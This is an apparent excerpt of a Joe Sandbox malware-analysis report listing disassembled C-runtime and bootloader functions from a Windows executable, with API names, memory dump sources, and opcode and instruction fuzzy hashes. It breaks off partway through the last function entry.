                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                    • String ID: CorExitProcess$mscoree.dll
                                                    • API String ID: 4061214504-1276376045
                                                    • Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
                                                    • Instruction ID: bd442139d12027af41234eff1224d6e8efdc2ca9556a65d28593d80223d23157
                                                    • Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
                                                    • Instruction Fuzzy Hash: 5FF06231A1970782EA108F25E8843795322AF49BA1F5C1635C56D867F9CF2CD089EF10
                                                    Function 00007FF6399D8678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _set_statfp
                                                    • String ID:
                                                    • API String ID: 1156100317-0
                                                    • Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                    • Instruction ID: 687729372eea9e8036fa62992e2affa05c689afd6e129f8f5615b9d4bf0c6b80
                                                    • Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                    • Instruction Fuzzy Hash: DE11E332E2CA0311F654292AD6D537911436F64374F5D46B4E96E867FFCE2CA840BD10
                                                    Function 00007FF6399CA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • FlsGetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA6BF
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA6DE
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA706
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA717
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C98B3,?,?,00000000,00007FF6399C9B4E,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399CA728
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value
                                                    • String ID:
                                                    • API String ID: 3702945584-0
                                                    • Opcode ID: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
                                                    • Instruction ID: 616731654ac5313871304ea53e7858ee5329dbaa38d0306afdec4538b80d1c75
                                                    • Opcode Fuzzy Hash: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
                                                    • Instruction Fuzzy Hash: BE117C20E0E24206FA58AB655E5127921976F983A0F0C4334E83E867DFEE2CB841AF11
                                                    Function 00007FF6399CA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value
                                                    • String ID:
                                                    • API String ID: 3702945584-0
                                                    • Opcode ID: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
                                                    • Instruction ID: 0123f9c87a89a9f348466eec0b3e4342375da3dae7cdb4eaab8933bd94cd9a32
                                                    • Opcode Fuzzy Hash: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
                                                    • Instruction Fuzzy Hash: F611D620E0A2474AFA586B655D6117D22835F89360E5C9734D93E8A3DBED2CB8817F11
                                                    Function 00007FF6399C52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: verbose
                                                    • API String ID: 3215553584-579935070
                                                    • Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
                                                    • Instruction ID: e14dc18eaa456c9566f132e3d9cf46df633b3d18ba670df6c43864452c121b3a
                                                    • Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
                                                    • Instruction Fuzzy Hash: 3D91AF32E0CA8681F7219E25D85037D3793AB44B94F8C4136DA5E863DADF3CE845AF12
                                                    Function 00007FF6399CEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                    • API String ID: 3215553584-1196891531
                                                    • Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
                                                    • Instruction ID: 9cd56ff8041044eda6bc6902418fb3dec94250f8e92ca2bd75bc37c3c5ef0fbf
                                                    • Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
                                                    • Instruction Fuzzy Hash: 95815C76E0824385FB658F25C95027926A2EB11B48F5D8035DA0AD73DFDF2DEA41BF01
                                                    Function 00007FF6399BC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                    • String ID: csm
                                                    • API String ID: 2395640692-1018135373
                                                    • Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
                                                    • Instruction ID: 85cf7ff13a125c7414c83070885c193e3d953da524b5bbdc941579f05ae13c1c
                                                    • Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
                                                    • Instruction Fuzzy Hash: C2518E32B196128ADB14CF19E454A7D77A2EB44B88F598135EA4D837CEEF7CE841DB00
                                                    Function 00007FF6399BE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CallEncodePointerTranslator
                                                    • String ID: MOC$RCC
                                                    • API String ID: 3544855599-2084237596
                                                    • Opcode ID: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
                                                    • Instruction ID: 79c36cdff3358c03c3d1288033f1d13034dc29a003133925db73eb7d99d5ae38
                                                    • Opcode Fuzzy Hash: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
                                                    • Instruction Fuzzy Hash: F361A132908BC585E7248F65E4403AAB7B5FB88784F084225EB9D43BDADF7CE090DB40
                                                    Function 00007FF6399BE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                    • String ID: csm$csm
                                                    • API String ID: 3896166516-3733052814
                                                    • Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
                                                    • Instruction ID: 8c3e25beb30d50782ae50a1a25a609d96fe1aad7d1e1f1e23ca099929f338b1b
                                                    • Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
                                                    • Instruction Fuzzy Hash: 18519137908246CAEB688FA1909836877BAEB54B84F1C4135DA5D87BDACF3CE4509F41
                                                    Function 00007FF6399B7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateDirectoryW.KERNEL32(00000000,?,00007FF6399B324C,?,?,00007FF6399B3964), ref: 00007FF6399B7642
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CreateDirectory
                                                    • String ID: %.*s$%s%c$\
                                                    • API String ID: 4241100979-1685191245
                                                    • Opcode ID: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
                                                    • Instruction ID: 8846fdd1bb4b4233eed4c4826b2616586a46262ca5fd9c71381376cdd8869245
                                                    • Opcode Fuzzy Hash: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
                                                    • Instruction Fuzzy Hash: E131CC21A19AC585EA219F15E8507E66366FF44BE0F484331EE6DC3BCEDE3CD6059B00
                                                    Function 00007FF6399B25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ByteCharMultiWide
                                                    • String ID: Error$Error/warning (ANSI fallback)
                                                    • API String ID: 1878133881-653037927
                                                    • Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
                                                    • Instruction ID: 16e0cd8b1f2bb6fd58d8a27bb4461ba4fa10eaf816b73712c1ced64da12dcc66
                                                    • Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
                                                    • Instruction Fuzzy Hash: B2116D72A28B8681FA208F10F491BA97365FF48B84F94513ADA4D8778ADF3DD605DB40
                                                    Function 00007FF6399B2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ByteCharMultiWide
                                                    • String ID: Error/warning (ANSI fallback)$Warning
                                                    • API String ID: 1878133881-2698358428
                                                    • Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
                                                    • Instruction ID: 559decaf77f2357d81b21f6d0e5b6c65bbe813e5ed0b16b6e83943f70d842585
                                                    • Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
                                                    • Instruction Fuzzy Hash: 13116072628B8681FA208F10F491BA97365FF44B84F945136DA4D8778ADF3DD605DB40
                                                    Function 00007FF6399CB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileWrite$ConsoleErrorLastOutput
                                                    • String ID:
                                                    • API String ID: 2718003287-0
                                                    • Opcode ID: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
                                                    • Instruction ID: 522991cfb172185b3d0181259fdc16485db0645afec835f0a40e5d5d2d729499
                                                    • Opcode Fuzzy Hash: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
                                                    • Instruction Fuzzy Hash: C3D1E372F48A8289E711CF69D8402AC37B2FB54798B184235CE5E97BDEDE38D516DB00
                                                    Function 00007FF6399CEC9C Relevance: 6.2, APIs: 4, Instructions: 161COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight$_isindst
                                                    • String ID:
                                                    • API String ID: 4170891091-0
                                                    • Opcode ID: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
                                                    • Instruction ID: 436be9184717e38a6bf95ebf827e312c0b44ee37a2a5574a26544e2e8a39da9b
                                                    • Opcode Fuzzy Hash: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
                                                    • Instruction Fuzzy Hash: D551E772F042158FFB24DFA89D556BC27A2AB10399F580135DD1E97BEADF38A8019F00
                                                    Function 00007FF6399C4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                    • String ID:
                                                    • API String ID: 2780335769-0
                                                    • Opcode ID: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
                                                    • Instruction ID: 0f1b07eacf3df4d079e50d352f0a95682faf805fb36bbea8a3f3ab395b8af27a
                                                    • Opcode Fuzzy Hash: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
                                                    • Instruction Fuzzy Hash: 9B515A22F086428AFB14CF71D8513BD23A2AB58B98F188535DE0A877DEDF38D4819F50
                                                    Function 00007FF6399B2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: LongWindow$DialogInvalidateRect
                                                    • String ID:
                                                    • API String ID: 1956198572-0
                                                    • Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
                                                    • Instruction ID: 603266708baba3f9ddabf25398ad0796a066ed683afdfd336174356a0526ee19
                                                    • Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
                                                    • Instruction Fuzzy Hash: 1C11A921E0814642FA559F69E5842BD52A3EF99B80F8C8031DE498BBDFCD3DD4C1AB40
                                                    Function 00007FF6399D4E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight$_invalid_parameter_noinfo
                                                    • String ID: ?
                                                    • API String ID: 1286766494-1684325040
                                                    • Opcode ID: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
